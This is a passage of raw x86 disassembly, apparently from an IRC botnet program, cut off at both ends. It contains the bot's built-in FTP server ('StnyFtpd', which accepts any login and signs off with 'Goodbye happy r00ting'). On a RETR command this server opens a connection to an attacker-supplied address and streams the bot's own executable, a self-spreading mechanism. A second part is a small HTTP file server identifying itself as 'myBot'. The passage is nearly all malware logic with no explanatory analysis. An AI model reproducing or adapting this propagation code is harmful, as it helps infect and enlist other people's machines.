		cmp	eax, ecx
		jb	short loc_40F4E8
		dec	[ebp+var_23C]

loc_40F508:				; CODE XREF: sub_40F2F1+1E5j
					; sub_40F2F1+1F5j
		push	edi
		call	dword_4F5538	; closesocket
		jmp	loc_40F8ED
; ---------------------------------------------------------------------------

loc_40F514:				; CODE XREF: sub_40F2F1+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_41FF30
		lea	eax, [ebp+var_B0]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_41F7E0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F558
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F558:				; CODE XREF: sub_40F2F1+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F57C
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F57C:				; CODE XREF: sub_40F2F1+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5A0
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F5A0:				; CODE XREF: sub_40F2F1+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5C4
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F5C4:				; CODE XREF: sub_40F2F1+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_44A5CC
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5E8
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F5E8:				; CODE XREF: sub_40F2F1+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F623
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F623
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F623:				; CODE XREF: sub_40F2F1+30Cj
					; sub_40F2F1+323j
		lea	eax, [ebp+var_B0]
		push	offset aType_0	; "TYPE"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F65E
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F65E
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F65E:				; CODE XREF: sub_40F2F1+347j
					; sub_40F2F1+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6AC
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]

loc_40F69C:				; CODE XREF: sub_40F2F1+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40F8DB
; ---------------------------------------------------------------------------

loc_40F6AC:				; CODE XREF: sub_40F2F1+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6ED
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F69C
; ---------------------------------------------------------------------------

loc_40F6ED:				; CODE XREF: sub_40F2F1+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7BE
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS_13	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41FF30
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41E710
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41E710
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41E4B0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41EA60
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41F450
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41EA60
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F7BE:				; CODE XREF: sub_40F2F1+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F8B9
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40F909
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F8AF
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F83E
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409C75
		add	esp, 14h

loc_40F83E:				; CODE XREF: sub_40F2F1+528j
		call	sub_40F986
		cmp	eax, 1
		jnz	loc_40F8DB
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F89A
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409C75
		add	esp, 14h

loc_40F89A:				; CODE XREF: sub_40F2F1+584j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415A3C
		inc	dword_4E5B8C
		pop	ecx
		jmp	short loc_40F8DB
; ---------------------------------------------------------------------------

loc_40F8AF:				; CODE XREF: sub_40F2F1+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F8D8
; ---------------------------------------------------------------------------

loc_40F8B9:				; CODE XREF: sub_40F2F1+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit_1	; "QUIT"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F8DB
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_40F8D8:				; CODE XREF: sub_40F2F1+262j
					; sub_40F2F1+286j ...
		push	edi
		call	ebx	; send

loc_40F8DB:				; CODE XREF: sub_40F2F1+3B6j
					; sub_40F2F1+555j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch

loc_40F8ED:				; CODE XREF: sub_40F2F1+14Fj
					; sub_40F2F1+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F40E
		jmp	loc_40F3D5
; ---------------------------------------------------------------------------

loc_40F8FF:				; CODE XREF: sub_40F2F1+10Fj
		xor	eax, eax
		inc	eax

loc_40F902:				; CODE XREF: sub_40F2F1+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F2F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F909	proc near		; CODE XREF: sub_40F2F1+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4F550C	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4F553C	; socket
		push	[ebp+arg_0]
		mov	dword_4E5DCC, eax
		mov	[ebp+var_10], 2
		call	dword_4F5528	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4F552C	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4E5DCC
		call	dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F981
		push	dword_4E5DCC
		call	dword_4F5538	; closesocket
		call	dword_4F5508	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F981:				; CODE XREF: sub_40F909+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40F909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F986	proc near		; CODE XREF: sub_40F2F1:loc_40F83Ep

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41E490
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FA1D
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FA01
		push	edi
		mov	edi, 400h

loc_40F9C9:				; CODE XREF: sub_40F986+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41E180
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4E5DCC
		call	dword_4F5540	; send
		push	1
		call	dword_4F534C	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F9C9
		pop	edi

loc_40FA01:				; CODE XREF: sub_40F986+3Bj
		push	esi
		call	sub_41BCF0
		pop	ecx
		push	dword_4E5DCC
		call	dword_4F5538	; closesocket
		call	dword_4F5508	; WSACleanup
		xor	eax, eax
		inc	eax

loc_40FA1D:				; CODE XREF: sub_40F986+35j
		pop	esi
		leave
		retn
sub_40F986	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA20	proc near		; DATA XREF: sub_401C87+2227o
					; sub_40C049+46Co

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4E3088	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4E3108	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_40FDEC
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_455FCC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FDEC
		push	7FFFFFFFh
		push	edi
		call	dword_4E30B0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FDEC
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4E3124	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FDEC
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi

loc_40FAF7:				; CODE XREF: sub_40FA20+3C2j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4E3070	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FDE7
		xor	edi, edi
		mov	[ebp+arg_0], edi

loc_40FB2D:				; CODE XREF: sub_40FA20+3BCj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_4E2F74	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FDD2
		cmp	edi, [ebp+var_8]
		jnz	short loc_40FBAE
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4E311C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FDD2
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FB80

loc_40FB72:				; CODE XREF: sub_40FA20+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40FB80
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40FB72

loc_40FB80:				; CODE XREF: sub_40FA20+150j
					; sub_40FA20+159j
		cmp	ecx, ebx
		jnz	short loc_40FB9D
		cmp	ebx, 40h
		jnb	short loc_40FB9D
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx

loc_40FB9D:				; CODE XREF: sub_40FA20+162j
					; sub_40FA20+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_40FDD2
		mov	[ebp+var_4], eax
		jmp	loc_40FDD2
; ---------------------------------------------------------------------------

loc_40FBAE:				; CODE XREF: sub_40FA20+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_41E4B0
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_4E30A0	; recv
		test	eax, eax
		jg	short loc_40FC35
		push	edi
		call	dword_4E3120	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_40FDD2

loc_40FBFA:				; CODE XREF: sub_40FA20+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40FC22
		inc	eax
		cmp	eax, ebx
		jb	short loc_40FBFA
		jmp	loc_40FDD2
; ---------------------------------------------------------------------------

loc_40FC0D:				; CODE XREF: sub_40FA20+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax

loc_40FC22:				; CODE XREF: sub_40FA20+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40FC0D
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_40FDD2
; ---------------------------------------------------------------------------

loc_40FC35:				; CODE XREF: sub_40FA20+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41E4B0
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_41BC70
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FDD2

loc_40FC62:				; CODE XREF: sub_40FA20+2FFj
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FD0E
		lea	eax, [ebp+var_18F0]
		push	offset aGet_0	; "GET "
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FCDE
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41BC70
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FCDE
		push	offset asc_44A7BE ; " "
		push	offset asc_44A7C0 ; " "
		lea	eax, [ebp+var_18F0]
		push	offset aGet_1	; "GET "
		push	eax
		call	sub_41EBB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41EBB0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41F870
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41F620
		add	esp, 10h
		jmp	short loc_40FCF5
; ---------------------------------------------------------------------------

loc_40FCDE:				; CODE XREF: sub_40FA20+26Dj
					; sub_40FA20+27Fj
		lea	eax, [ebp+var_18F0]
		push	offset asc_44A7CC ; "\r\n"
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD2A

loc_40FCF5:				; CODE XREF: sub_40FA20+2BCj
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40FD0E:				; CODE XREF: sub_40FA20+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_41BC70
		cmp	edi, eax
		pop	ecx
		jb	loc_40FC62
		jmp	loc_40FDD2
; ---------------------------------------------------------------------------

loc_40FD2A:				; CODE XREF: sub_40FA20+2D3j
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40FD66

loc_40FD30:				; CODE XREF: sub_40FA20+31Fj
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40FD58
		inc	eax
		cmp	eax, ebx
		jb	short loc_40FD30
		jmp	short loc_40FD66
; ---------------------------------------------------------------------------

loc_40FD43:				; CODE XREF: sub_40FA20+33Dj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax

loc_40FD58:				; CODE XREF: sub_40FA20+31Aj
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40FD43
		dec	ebx
		mov	[ebp+var_128], ebx

loc_40FD66:				; CODE XREF: sub_40FA20+30Ej
					; sub_40FA20+321j
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41BC70
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BC70
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_40FDC9
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_4E3124	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FFD8
		add	esp, 14h
		jmp	short loc_40FDD2
; ---------------------------------------------------------------------------

loc_40FDC9:				; CODE XREF: sub_40FA20+36Aj
		push	[ebp+arg_0]
		call	dword_4E3120	; closesocket

loc_40FDD2:				; CODE XREF: sub_40FA20+11Dj
					; sub_40FA20+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40FB2D
		jmp	loc_40FAF7
; ---------------------------------------------------------------------------

loc_40FDE7:				; CODE XREF: sub_40FA20+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx

loc_40FDEC:				; CODE XREF: sub_40FA20+6Aj
					; sub_40FA20+92j ...
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_44A7D0
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FE32
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409C75
		add	esp, 14h

loc_40FE32:				; CODE XREF: sub_40FA20+3EDj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_254]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FA20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE5C	proc near		; DATA XREF: sub_40FFD8+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41EA60
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_40FEC7
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FECC
; ---------------------------------------------------------------------------

loc_40FEC7:				; CODE XREF: sub_40FE5C+62j
		push	offset aApplicationOct ; "application/octet-stream"

loc_40FECC:				; CODE XREF: sub_40FE5C+69j
		push	eax
		call	sub_41EA60
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_4F53D8	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_4F53D4	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_40FF3F
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41EA60
		add	esp, 24h
		jmp	short loc_40FF5A
; ---------------------------------------------------------------------------

loc_40FF3F:				; CODE XREF: sub_40FE5C+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41EA60
		add	esp, 28h

loc_40FF5A:				; CODE XREF: sub_40FE5C+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4E30D8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40FF9A
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_410908
		pop	ecx
		pop	ecx
		jmp	short loc_40FFB7
; ---------------------------------------------------------------------------

loc_40FF9A:				; CODE XREF: sub_40FE5C+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_410287
		add	esp, 10h

loc_40FFB7:				; CODE XREF: sub_40FE5C+13Cj
		push	[ebp+var_44C]
		call	dword_4E3120	; closesocket
		push	[ebp+var_B4]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_40FE5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFD8	proc near		; CODE XREF: sub_40FA20+39Fp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41E4B0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_41000E
		push	offset aS_14	; "\\%s"
		jmp	short loc_410016
; ---------------------------------------------------------------------------

loc_41000E:				; CODE XREF: sub_40FFD8+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_15	; "%s"

loc_410016:				; CODE XREF: sub_40FFD8+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41BC70
		test	eax, eax
		pop	ecx
		jbe	short loc_4100B1
		mov	[ebp+arg_8], 2

loc_410041:				; CODE XREF: sub_40FFD8+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41BC70
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_410081
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_410081
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_410081
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_410081
		inc	esi
